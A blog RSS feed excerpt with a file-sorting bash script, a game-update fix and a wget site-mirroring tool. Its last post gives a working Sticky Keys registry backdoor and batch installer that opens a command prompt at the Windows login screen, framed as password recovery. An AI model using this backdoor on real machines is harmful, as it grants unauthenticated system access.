rpm=&quot;$instl/rpm&quot;

# Image directories
picf=&quot;$dldir/Images&quot;
png=&quot;$picf/png&quot;
jpg=&quot;$picf/jpg&quot;
bmp=&quot;$picf/bmp&quot;
tif=&quot;$picf/tif&quot;
gif=&quot;$picf/gif&quot;
ico=&quot;$picf/ico&quot;
svg=&quot;$picf/svg&quot;
jpeg=&quot;$picf/jpeg&quot;

# Video directories
vidf=&quot;$dldir/Videos&quot;
mov=&quot;$vidf/mov&quot;
mp4=&quot;$vidf/mp4&quot;
mpg=&quot;$vidf/mpg&quot;
avi=&quot;$vidf/avi&quot;
mkv=&quot;$vidf/mkv&quot;
flv=&quot;$vidf/flv&quot;
wmv=&quot;$vidf/wmv&quot;
mpeg=&quot;$vidf/mpeg&quot;
m4v=&quot;$vidf/mv4&quot;
tgp=&quot;$vidf/3gp&quot;

# Music directories
musf=&quot;$dldir/Audio&quot;
mp3=&quot;$musf/mp3&quot;
ogg=&quot;$musf/ogg&quot;
flac=&quot;$musf/flac&quot;

# Document directories
docf=&quot;$dldir/Documents&quot;
txt=&quot;$docf/txt&quot;
doc=&quot;$docf/doc&quot;
bak=&quot;$docf/bak&quot;
cfg=&quot;$docf/cfg&quot;
css=&quot;$docf/css&quot;
html=&quot;$docf/html&quot;
php=&quot;$docf/php&quot;
js=&quot;$docf/js&quot;
asp=&quot;$docf/asp&quot;
docx=&quot;$doc&quot;
htm=&quot;$html&quot;
ini=&quot;$docf/ini&quot;
jso=&quot;$js&quot;
log=&quot;$docf/log&quot;
odf=&quot;$docf/odf&quot;
ppt=&quot;$docf/ppt&quot;
rtf=&quot;$docf/rtf&quot;
xml=&quot;$docf/xml&quot;
pdf=&quot;$docf/pdf&quot;

# Main file moving function
mv_files () {
 fnamevar=&quot;$1&quot;
 for archives in $(sudo find $dldir -maxdepth 1 -type f -iname &quot;$fnamevar&quot;); do
  fname=$(basename &quot;$archives&quot;)
  if [ ! -f &quot;$2/$fname&quot; ]; then
   sudo mv &quot;$archives&quot; &quot;$2&quot;
   if [ ! -f &quot;$2/$fname&quot; ]; then
    echo &quot;File: $fname was not moved to $2, something went wrong.&quot;
    echo &quot;&quot;
   else
    echo &quot;File $fname was successfully moved to $2.&quot;
    echo &quot;&quot;
   fi
  else
   echo &quot;File $fname was found in the target directory, file was not copied.&quot; 
   echo &quot;What would you like to do with the file $archives? &quot;
   PS3=&quot;Make a choice: &quot;
   options=(&quot;Replace&quot; &quot;Delete&quot; &quot;Do Nothing&quot;)
   select opt in &quot;${options[@]}&quot;
   do
    case $opt in
     &quot;Replace&quot;)
      sudo mv -f &quot;$archives&quot; &quot;$2&quot;
      if [ ! -f &quot;$archives&quot; ]; then
       echo &quot;File: $fname in $dldir replaced file $fname in $2 successfully.&quot;
       echo &quot;&quot;
      else
       echo &quot;File: $fname in $2 was not replaced, something went wrong.&quot;
       echo&quot;&quot;
      fi
      break
      ;;
     &quot;Delete&quot;)
      sudo rm -f &quot;$archives&quot;
      if [ ! -f &quot;$archives&quot; ]; then
       echo &quot;File $archives deleted successfully.&quot;
       echo &quot;&quot;
      else
       echo &quot;File $archives could not be deleted, something went wrong.&quot;
       echo &quot;&quot;
      fi
      break
      ;;      
     &quot;Do Nothing&quot;)
       echo &quot;You chose do nothing with file $archives, file remains.&quot;
       echo &quot;&quot;
      break
      ;;
     *) echo invalid option;;
    esac
   done   
  fi
 done
}

# Directory check and creation
dirn=&quot;$docf $txt $doc $bak $cfg $css $html $php $js $asp $docx $htm $ini $jso $log $odf $ppt $rtf $xml $pdf $arch $zip $gzd $tar $rar $bz2 $szdir $instl $deb $rpm $picf $png $jpg $jpeg $bmp $tif $gif $ico $svg $vidf $mov $mp4 $mpg $avi $mkv $flv $wmv $mpeg $m4v $tgp $musf $mp3 $ogg $flac&quot;
read -r -a dirna &lt;&lt;&lt; &quot;$dirn&quot;
for typed in ${dirna[@]}; do
 if [ ! -d &quot;$typed&quot; ]; then
  mkdir &quot;$typed&quot;
  if [ -d &quot;$typed&quot; ]; then
   echo &quot;Folder $typed created successfully.&quot;
  else
   echo &quot;Folder $typed was not created, something went wrong.&quot;
  fi
 fi
done

# File movement
IFS=$(echo -en &quot;\n\b&quot;) 
mv_files &quot;*.zip&quot; &quot;$zip&quot;
mv_files &quot;*.tar&quot; &quot;$tar&quot;
mv_files &quot;*.bz2&quot; &quot;$bz2&quot;
mv_files &quot;*.rar&quot; &quot;$rar&quot;
mv_files &quot;*.rpm&quot; &quot;$rpm&quot;
mv_files &quot;*.7z&quot; &quot;$szdir&quot;
mv_files &quot;*.deb&quot; &quot;$deb&quot;
mv_files &quot;*.gz&quot; &quot;$gzd&quot;
mv_files &quot;*.png&quot; &quot;$png&quot;
mv_files &quot;*.jpg&quot; &quot;$jpg&quot;
mv_files &quot;*.bmp&quot; &quot;$bmp&quot;
mv_files &quot;*.tif&quot; &quot;$tif&quot;
mv_files &quot;*.gif&quot; &quot;$gif&quot;
mv_files &quot;*.ico&quot; &quot;$ico&quot;
mv_files &quot;*.svg&quot; &quot;$svg&quot;
mv_files &quot;*.jpeg&quot; &quot;$jpeg&quot;
mv_files &quot;*.mov&quot; &quot;$mov&quot;
mv_files &quot;*.mp4&quot; &quot;$mp4&quot;
mv_files &quot;*.mpg&quot; &quot;$mpg&quot;
mv_files &quot;*.avi&quot; &quot;$avi&quot;
mv_files &quot;*.mkv&quot; &quot;$mkv&quot;
mv_files &quot;*.flv&quot; &quot;$flv&quot;
mv_files &quot;*.wmv&quot; &quot;$wmv&quot;
mv_files &quot;*.mpeg&quot; &quot;$mpeg&quot;
mv_files &quot;*.m4v&quot; &quot;$m4v&quot;
mv_files &quot;*.3gp&quot; &quot;$tgp&quot;
mv_files &quot;*.mp3&quot; &quot;$mp3&quot;
mv_files &quot;*.ogg&quot; &quot;$ogg&quot;
mv_files &quot;*.flac&quot; &quot;$flac&quot;
mv_files &quot;*.pdf&quot; &quot;$pdf&quot;
mv_files &quot;*.txt&quot; &quot;$txt&quot;
mv_files &quot;*.doc&quot; &quot;$doc&quot;
mv_files &quot;*.bak&quot; &quot;$bak&quot;
mv_files &quot;*.cfg&quot; &quot;$cfg&quot;
mv_files &quot;*.css&quot; &quot;$css&quot;
mv_files &quot;*.html&quot; &quot;$html&quot;
mv_files &quot;*.php&quot; &quot;$php&quot;
mv_files &quot;*.js&quot; &quot;$js&quot;
mv_files &quot;*.asp&quot; &quot;$asp&quot;
mv_files &quot;*.docx&quot; &quot;$doc&quot;
mv_files &quot;*.htm&quot; &quot;$html&quot;
mv_files &quot;*.ini&quot; &quot;$ini&quot;
mv_files &quot;*.jso&quot; &quot;$js&quot;
mv_files &quot;*.log&quot; &quot;$log&quot;
mv_files &quot;*.odf&quot; &quot;$odf&quot;
mv_files &quot;*.ppt&quot; &quot;$ppt&quot;
mv_files &quot;*.rtf&quot; &quot;$rtf&quot;
mv_files &quot;*.xml&quot; &quot;$xml&quot;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2015/11/organize-downloads-folder-in-linux-or.html</link><author>noreply@blogger.com (FluxApex)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-4938339746709170986</guid><pubDate>Fri, 10 Jul 2015 02:00:00 +0000</pubDate><atom:updated>2015-07-11T18:52:30.790-05:00</atom:updated><title>Titan Empires 5.1-6.0 upgrade &quot;Game content can&#39;t be found&quot; error fix.</title><description>&lt;div style=&quot;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&#39;http://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; margin: auto; padding: 4px; width: 100%; height:100%; font-family: Georgia, serif; overflow: hidden;&quot;&gt; 
&lt;center&gt;&lt;h1 style=&quot;text-shadow: 2px 2px 8px #FFFFFF;&quot;&gt;Titan Empires 5.1-6.0 upgrade &quot;Game content can&#39;t be found&quot; error fix.&lt;/h1&gt;&lt;/center&gt;
&lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://developers.facebook.com/docs/plugins/&quot; data-layout=&quot;button_count&quot;&gt;&lt;/div&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;div style=&quot;display: inline-block; width: 440px;&quot;&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;
Recently, Titan Empires had a semi-major update from version 5.1 to 6.0 and many people are receiving an error &quot;Game content can&#39;t be found&quot; or something very similar to that. This update wasn&#39;t normal because instead of replacing the old app like usual it had you install a whole new apk file and had 2 installations on the device.&lt;/p&gt; 
&lt;p style=&quot;text-indent:24px;&quot;&gt;
Ok, whatever, not a big deal as you can just uninstall the old version and it still seem to run fine on my 10.5 inch Tab S. When I tried installing on any other device (both rooted and not) I received the aforementioned error. After a few hours (off and on) of uninstalling/reinstalling everything and cleaning all leftover traces nothing seemed to work. I then had an idea to try reinstalling the old version again and repeating the update process and it worked! I then repeated these steps on two more devices that had the error and they worked as well! I then uninstalled the old 5.1 version and 6.0 still works on all devices!
&lt;/p&gt;
&lt;h2 style=&quot;color:red&quot;&gt;Steps to fix error:&lt;/h2&gt;
&lt;ul style=&quot;list-style-type:upper-roman&quot;&gt;
&lt;li&gt;Completely uninstall any traces of Titan Empires (if rooted you can look for left overs with something like SD Maid etc.).&lt;/li&gt;
&lt;li&gt;Install the 5.1 version found here: &lt;a href=&quot;https://www.dropbox.com/s/v3p6mylucumcma8/com.perblue.titanempires-5.1.apk?dl=0&quot; target=&quot;_blank&quot;&gt;Titan Empires V5.1&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Run V5.1 and it will tell you to update and take you to the Play Store. Install V6.0.&lt;/li&gt;
&lt;li&gt;Run V6.0 to test and make sure it&#39;s working.&lt;/li&gt;
&lt;li&gt;Uninstall V5.1 from your app manager or an uninstaller. Just make sure you are uninstalling V5.1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hope this helps!&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2015/07/titan-empires-51-60-upgrade-game.html</link><author>noreply@blogger.com (FluxApex)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-3180285984695768040</guid><pubDate>Sun, 01 Mar 2015 19:36:00 +0000</pubDate><atom:updated>2015-03-01T13:55:14.328-06:00</atom:updated><title>WgetURL V1.0</title><description>&lt;div style=&quot;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&#39;http://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; margin: auto; padding: 4px; width: 100%; height:100%; font-family: Georgia, serif; overflow: hidden;&quot;&gt; 
&lt;center&gt;&lt;h1 style=&quot;text-shadow: 2px 2px 8px #FFFFFF;&quot;&gt;WgetURL V1.0&lt;/h1&gt;&lt;/center&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;

&lt;div style=&quot;display: inline-block; width: 440px;&quot;&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;
Off and on throughout the years I have had, heard and seen many conversations with people about posting images (anything really) online and how secure they really are. By now we should all know they are not and even if a website has security in place if a hacker wants your files bad enough they can get them. Having said that most hackers aren&#39;t really wanting any pics of your trip to the local fair or your puckered selfies... so really in the end it&#39;&#39;s not that big of a deal. If you&#39;re posting naked pics and people get them that&#39;s more than likely your fault for making them public as I doubt a real hacker wasted his time to get your amateur porn.  
&lt;/p&gt;
&lt;/div&gt;&lt;div style=&quot;background: white; border-radius: 6px; width: 100px; display:  inline-block; vertical-align: top; margin-top:32px; margin-left: 16px; text-align: center;&quot;&gt;&lt;a href=&quot;#downl&quot; style=&quot;color: black;&quot;&gt;Skip&lt;br /&gt;to&lt;br /&gt;Download&lt;/a&gt;&lt;/div&gt;

&lt;p style=&quot;text-indent:24px;&quot;&gt;
In one of these conversations I had with a person I did mention &lt;a href=&quot;http://gnuwin32.sourceforge.net/packages/wget.htm&quot; target=&quot;_blank&quot;&gt;Wget&lt;/a&gt; as a way to download files from a web server from a command line interface, without having to use any browser or download manager you can download many files from a server as long as it doesn&#39;t have restrictions (as many do, BUT NOT ALL). This method is for legitimate users like web designers/hosts or just someone interested in the way a site is coded to download these files. 
&lt;/p&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;Of course, I love to write scripts for everything and so began my little quest to create &lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;WgetURL V1.0&lt;/span&gt;, a small utility to easily download all obtainable files from a web server with a simple command such as:&lt;/p&gt;
&lt;div style=&quot;background: white;border-radius: 4px; padding: 2px 4px;&quot;&gt;
&lt;code style=&quot;color: black;&quot;&gt;
wgeturl www.websiteurl.com
&lt;/code&gt;&lt;/div&gt;
&lt;p&gt;instead of having to type a bunch of code like this:&lt;/p&gt;
&lt;div style=&quot;background: white; border-radius: 4px; padding: 2px 4px;&quot;&gt;
&lt;code style=&quot;color: black;&quot;&gt;
wget --no-clobber --convert-links --random-wait -r -P %userprofile%\Desktop robots=off www.websiteurl.com --cut-dirs=1 --cut-dirs=2 --cut-dirs=3
&lt;/code&gt;&lt;/div&gt;
&lt;h2&gt;Usage:&lt;/h2&gt;
&lt;ul style=&quot;list-style: none;&quot;&gt;
&lt;li&gt;Note: I ended up creating this as an installer package with an uninstaller because it has several files and a PATH variable so I wanted a clean uninstall.&lt;/li&gt;
&lt;li&gt;Note: Not for use in XP. It can be installed and the cli utility part can be used manually, but it will not function properly as is. XP is far outdated and I will not code for it at this time.&lt;/li&gt;
&lt;li&gt;Note: As with most of my utilities this may show as a false positive in Anti-virus or warnings. It&#39;s is not signed and may show packed warnings because wget is packaged with this.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: red;&quot;&gt;Installation:&lt;/h3&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;
The installer is very simple, it will install all files to C:\Bin\WgetURL using my WinBin system and give you the option to not create a Start Menu folder, but I don&#39;t recommend that.
&lt;/p&gt;
&lt;h3 style=&quot;color: red;&quot;&gt;Execution:&lt;/h3&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;
Can only be ran from a command line interface (cli) such as CMD by typing&lt;/p&gt;
&lt;div style=&quot;background: white;border-radius: 4px; padding: 2px 4px;&quot;&gt;
&lt;code style=&quot;color: black; font-style: italic;&quot;&gt;
wgeturl www.whatever-website-address-you-want.com
&lt;/code&gt;
&lt;/div&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;It will run from anywhere as the path is added to the &lt;span style=&quot;font-style: italic;&quot;&gt;PATH&lt;/span&gt; variable.&lt;/p&gt;
&lt;h3 style=&quot;color: red;&quot;&gt;Uninstall:&lt;/h3&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;
Very clean uninstall either by a shortcut in the &lt;span style=&quot;font-style: italic;&quot;&gt;Start Menu&lt;/span&gt;, uninstaller found in the programs directory or by any normal means in your &lt;span style=&quot;font-style: italic;&quot;&gt;Uninstall Programs&lt;/span&gt; list.&lt;/p&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;center&gt;&lt;h1 style=&quot;color: yellow; text-shadow: 2px 2px 8px #FFFFFF;&quot;&gt;&lt;a name=&quot;downl&quot;&gt;Download&lt;/a&gt;&lt;/h1&gt;&lt;/center&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;center&gt;&lt;a href=&quot;https://dl.dropbox.com/s/slra0mflh82yoi3/WgetURLV1.0-Setup.exe&quot; target=&quot;_blank&quot;&gt;WgetURLV1.0-Setup for Windows Vista/7/8&lt;/a&gt;&lt;/center&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-8_h3Gz3rZrZJi3WG172XAxX8MhKRcSIKZ7jiWkzgTt1TUxPs7YIjFqtL9dWKWoHFE8qZ7fn7PnphDWFLnLWwx8Rz6xl0MvFws0xVMZWeWOJ7RNN0o6srFStXHyyMf8lqIBha3ywqE-O_/s1600/wgeturlbmp.bmp&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-8_h3Gz3rZrZJi3WG172XAxX8MhKRcSIKZ7jiWkzgTt1TUxPs7YIjFqtL9dWKWoHFE8qZ7fn7PnphDWFLnLWwx8Rz6xl0MvFws0xVMZWeWOJ7RNN0o6srFStXHyyMf8lqIBha3ywqE-O_/s1600/wgeturlbmp.bmp&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2015/03/wgeturl-v10.html</link><author>noreply@blogger.com (FluxApex)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-8_h3Gz3rZrZJi3WG172XAxX8MhKRcSIKZ7jiWkzgTt1TUxPs7YIjFqtL9dWKWoHFE8qZ7fn7PnphDWFLnLWwx8Rz6xl0MvFws0xVMZWeWOJ7RNN0o6srFStXHyyMf8lqIBha3ywqE-O_/s72-c/wgeturlbmp.bmp" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-7545161899149122839</guid><pubDate>Sat, 21 Feb 2015 21:58:00 +0000</pubDate><atom:updated>2015-02-21T19:24:55.211-06:00</atom:updated><title>Windows Login Backdoor Creator V2.0</title><description>&lt;div style=&quot;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&#39;http://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; margin: auto; padding: 4px; width: 100%; height:100%; font-family: Georgia, serif; overflow: hidden;&quot;&gt; 
&lt;p style=&quot;text-indent:24px;&quot;&gt;Note: This is a revision of the original post &#39;&lt;span style=&quot;font-weight: bold; color:red;&quot;&gt;Creating backdoor at Windows login to reset password after losing it.&lt;/span&gt;&#39; found &lt;a href=&quot;http://agnosticmicrocosm.blogspot.com/2012/06/creating-backdoor-at-windows-login-to.html&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;   Over the years I have had many people ask me how to get into their computer after they have forgotten their password. There are a few ways to do this either with a bootable cd or usb stick with a 3rd party application, but to be honest this is very unsafe as anyone can get the cd and break into a computer and at the same time you or anyone else that uses such software can cause users or admins to lose data.&lt;/p&gt;
&lt;div style=&quot;float:right;width:150px;padding:8px;background:#363;color:red !important;border-radius:8px;border:1px solid #030;margin-right:8px;&quot;&gt;
&lt;a href=&quot;#easy&quot;&gt;Skip to easier method (d0wnload)...&lt;/a&gt;
&lt;/div&gt;

&lt;p style=&quot;text-indent:24px;&quot;&gt;The only really safe way to do it is through your command prompt, but without knowing your password to get into the profile to use the console then you are screwed. Recently I have discovered a way to be able to access your command prompt from the Windows login screen by adding a value to the registry. Now you can create a registry file (.reg) to do this, but today we will just add it via the command prompt:&lt;/p&gt;
&lt;br /&gt;
1. You must open your cmd (command prompt) as administrator so you can&#39;t open it from run. You must go to your start screen type &quot;cmd&quot; in the search bar and when you see it right click on it and select &quot;Run as administrator&quot;. &lt;br /&gt;
&lt;br /&gt;
2. Type the code below into the prompt: &lt;br /&gt; 
&lt;div style=&quot;background:white;color:red;padding:8px;border-radius:14px;-moz-border-radius: 14px;margin-top:8px;border:1px solid #000;-moz-box-shadow: inset 0 0 20px 4px #222;
-webkit-box-shadow: inset 0 0 20px 4px #222;
box-shadow: inner 0 0 20px 4px #222;&quot;&gt;
&lt;code&gt;
REG ADD &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe&quot; /v Debugger /t REG_SZ /d &quot;C:\windows\system32\cmd.exe&quot;
&lt;/code&gt;
&lt;/div&gt;
&lt;center&gt;Triple click on the above code to select all then copy and paste into your command prompt and hit &quot;ENTER&quot;.&lt;/center&gt;
&lt;br /&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;You now have access to the the command prompt at the Wcndows login screen.
&lt;br /&gt;
&lt;br /&gt;
Gain access by either:
&lt;ul style=&quot;list-style-type:upper-roman;&quot;&gt;
&lt;li&gt;Pressing SHIFT+ALT+PRTSC (Print Screen) or;&lt;/li&gt;
&lt;li&gt;Hitting the SHIFT key 5 times in a row (good ol&#39; Sticky Keys).&lt;/li&gt;
&lt;/ul&gt;
&lt;/p&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/p&gt;
 &lt;p style=&quot;text-indent:24px;&quot;&gt;If you or anyone else on your Windows OS ever loses their password (or you just want to do anything else that you can do from the prompt) you can do it without logging in (be careful though!).&lt;/p&gt;

3. When you need to change your password from the prompt, type:
&lt;div style=&quot;background:white;color:red;padding:8px;border-radius:14px;-moz-border-radius: 14px;margin-top:8px;border:1px solid #000;-moz-box-shadow: inset 0 0 20px 4px #222;
-webkit-box-shadow: inset 0 0 20px 4px #222;
box-shadow: inner 0 0 20px 4px #222;&quot;&gt;
&lt;code&gt;
net user username password
&lt;/code&gt;
&lt;/div&gt;
Where username is, of course, your username and password your new password.&lt;br /&gt;
&lt;br /&gt;
EXAMPLE:
&lt;div style=&quot;background:white;color:red;padding:8px;border-radius:14px;-moz-border-radius: 14px;margin-top:8px;border:1px solid #000;-moz-box-shadow: inset 0 0 20px 4px #222;
-webkit-box-shadow: inset 0 0 20px 4px #222;
box-shadow: inner 0 0 20px 4px #222;&quot;&gt;
&lt;code&gt;
net user bob apples
&lt;/code&gt;
&lt;/div&gt;
Would change user bob&#39;s password to apples etc...
&lt;p style=&quot;text-indent:24px;&quot;&gt;
If your name has a space in it you must wrap quotation marks around the name as a space denotes a new command. You must enter it like:&lt;/p&gt;
&lt;div style=&quot;background:white;color:red;padding:8px;border-radius:14px;-moz-border-radius: 14px;margin-top:8px;border:1px solid #000;-moz-box-shadow: inset 0 0 20px 4px #222;
-webkit-box-shadow: inset 0 0 20px 4px #222;
box-shadow: inner 0 0 20px 4px #222;&quot;&gt;
&lt;code&gt;
net user &quot;bob for&quot; apples
&lt;/code&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
4. Login with your new password!
&lt;a name=&quot;easy&quot;&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;hr /&gt;
&lt;hr /&gt;
&lt;hr /&gt;
&lt;h2&gt;Downloads:&lt;/h2&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;New version 2.0  is 90% re-written with 32 and 64 bit versions to accommodate x86 issues.&lt;/p&gt;
&lt;ul style=&quot;list-style-type:upper-roman;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;Version Info&lt;/span&gt;&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;V1.0&lt;/span&gt; - Original, batch script only. Bugs: Batch quote issue in paths, installs to wrong path on x86 systems with SysWOW. Bug fixes: none.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;V2.0&lt;/span&gt; - New re-write, 32 and 64 bit executables. Bugs: No known bugs. Bug fixes: Fixed batch quotes in paths issue, fixed install wrong locations issue.&lt;br /&gt;
&lt;ul style=&quot;list-style-type:none;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;Features&lt;/span&gt;&lt;br /&gt;
&lt;li&gt;Checks for registry value and script file and either installs the backdoor or fixes any part that may be broken.&lt;/li&gt;
&lt;li&gt;Now runs great on Windows XP/Vista/7/8 32 and 64 bit.&lt;/li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;ul style=&quot;list-style-type:none&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dropbox.com/s/i81og0ja5adhi2w/Login-Backdoor-Creator-V2-32bit.exe?dl=0&quot; target=&quot;_blank&quot;&gt;32bit - Login Backdoor Creator V2.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dropbox.com/s/stkehnycvq5vj3n/Login-Backdoor-Creator-V2-64bit.exe?dl=0&quot; target=&quot;_blank&quot;&gt;64bit - Login Backdoor Creator V2.0&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
I have created a batch file to automate this process so you don&#39;t have to do half of this. You can either download it &lt;a style=&quot;text-decoration: line-through;&quot; target=&quot;_blank&quot; href=&quot;https://www.box.com/s/af12c8a4adf34694ea25&quot;&gt;here (Outdated V1.0 old script for archives)&lt;/a&gt; or if you are scared of downloading files you can just copy and paste the text below into a batch you create.&lt;/p&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;
&lt;ul style=&quot;list-style-type:upper-roman;&quot;&gt;
&lt;li&gt; Right click on your desktop and select New&gt;TXT File.&lt;/li&gt;
&lt;li&gt; Rename the file from &quot;New Text Document.txt&quot; to &quot;whateveryouwant.bat&quot; (if you can&#39;t see the extension just go into folder options and uncheck &quot;Hide extensions of known applications&quot; or something like that.&lt;/li&gt;
&lt;li&gt; Once it&#39;s a bat file right click on it and select &quot;Edit&quot;. and paste the code below into it and save the file&lt;/li&gt;
&lt;li&gt;Right click on the bat file you have created and select &quot;Run as administrator&quot; and it will run.&lt;/li&gt; 
&lt;/ul&gt;
Code to paste in your batch file:
&lt;div style=&quot;background:white;color:red;padding:8px;border-radius:14px;-moz-border-radius: 14px;margin-top:8px;border:1px solid #000;-moz-box-shadow: inset 0 0 20px 4px #222;
-webkit-box-shadow: inset 0 0 20px 4px #222;
box-shadow: inner 0 0 20px 4px #222;&quot;&gt;
&lt;code&gt;
@echo off&lt;br /&gt;
Title Windows Login Backdoor Creator&lt;br /&gt;
color 0A&lt;br /&gt;
set &quot;_bscript=%windir%/System32/backdoor.cmd&quot;&lt;br /&gt;
cls&lt;br /&gt;
mode 54,4&lt;br /&gt;
echo(&lt;br /&gt;
echo  Checking to see if script or registry value exist...&lt;br /&gt;
echo(&lt;br /&gt;
call :to&lt;br /&gt;
reg query &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe&quot; /v Debugger&gt;nul&lt;br /&gt;
cls&lt;br /&gt;
&lt;br /&gt;
if [%errorlevel%]==[1] if not exist &quot;%_bscript%&quot; (&lt;br /&gt;
 call :notFound&lt;br /&gt;
 cls&lt;br /&gt;
 call :howTo&lt;br /&gt;
 call :md&lt;br /&gt;
 goto :eof&lt;br /&gt;
) &lt;br /&gt;
&lt;br /&gt;
if [%errorlevel%]==[0] if not exist &quot;%_bscript%&quot; (&lt;br /&gt;
 mode 49,5&lt;br /&gt;
 echo(&lt;br /&gt;
 echo  Registry value exists, but the script does not.&lt;br /&gt;
 echo  Writing script file now...&lt;br /&gt;
 echo(&lt;br /&gt;
 call :to&lt;br /&gt;
 call :writeScript&lt;br /&gt;
 cls&lt;br /&gt;
 call :howTo&lt;br /&gt;
 call :md&lt;br /&gt;
 goto :eof&lt;br /&gt;
)&lt;br /&gt;
 &lt;br /&gt;
if [%errorlevel%]==[1] if exist &quot;%_bscript%&quot; (&lt;br /&gt;
mode 49,5&lt;br /&gt;
 echo(&lt;br /&gt;
 echo  Script exists, but the registry value does not.&lt;br /&gt;
 echo  Writing registry value now...&lt;br /&gt;
 echo(&lt;br /&gt;
 call :to&lt;br /&gt;
 call :writeReg&lt;br /&gt;
 cls&lt;br /&gt;
 call :howTo&lt;br /&gt;
 call :md&lt;br /&gt;
 goto :eof&lt;br /&gt;
)&lt;br /&gt;
mode 48,5&lt;br /&gt;
echo(&lt;br /&gt;
echo  Both the script and registry value were found,&lt;br /&gt;
echo  no need to do anything.&lt;br /&gt;
echo(&lt;br /&gt;
pause&lt;br /&gt;
call :md&lt;br /&gt;
goto :eof&lt;br /&gt;
&lt;br /&gt;
:notFound&lt;br /&gt;
mode 45,5&lt;br /&gt;
echo(&lt;br /&gt;
echo  Backdoor was not found,  writing both the &lt;br /&gt;
echo  regsitry value and the script file....&lt;br /&gt;
echo(&lt;br /&gt;
call :to&lt;br /&gt;
call :writeBoth&lt;br /&gt;
cls&lt;br /&gt;
exit /b&lt;br /&gt;
&lt;br /&gt;
:writeBoth&lt;br /&gt;
call :writeReg&lt;br /&gt;
call :writeScript&lt;br /&gt;
exit /b&lt;br /&gt;
&lt;br /&gt;
:writeReg&lt;br /&gt;
echo(&lt;br /&gt;
echo  Creating registry key....&lt;br /&gt;
echo(&lt;br /&gt;
call :to&lt;br /&gt;
reg add &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe&quot; /v Debugger /t REG_SZ /d &quot;C:\windows\system32\cmd.exe&quot;&lt;br /&gt;
exit /b&lt;br /&gt;
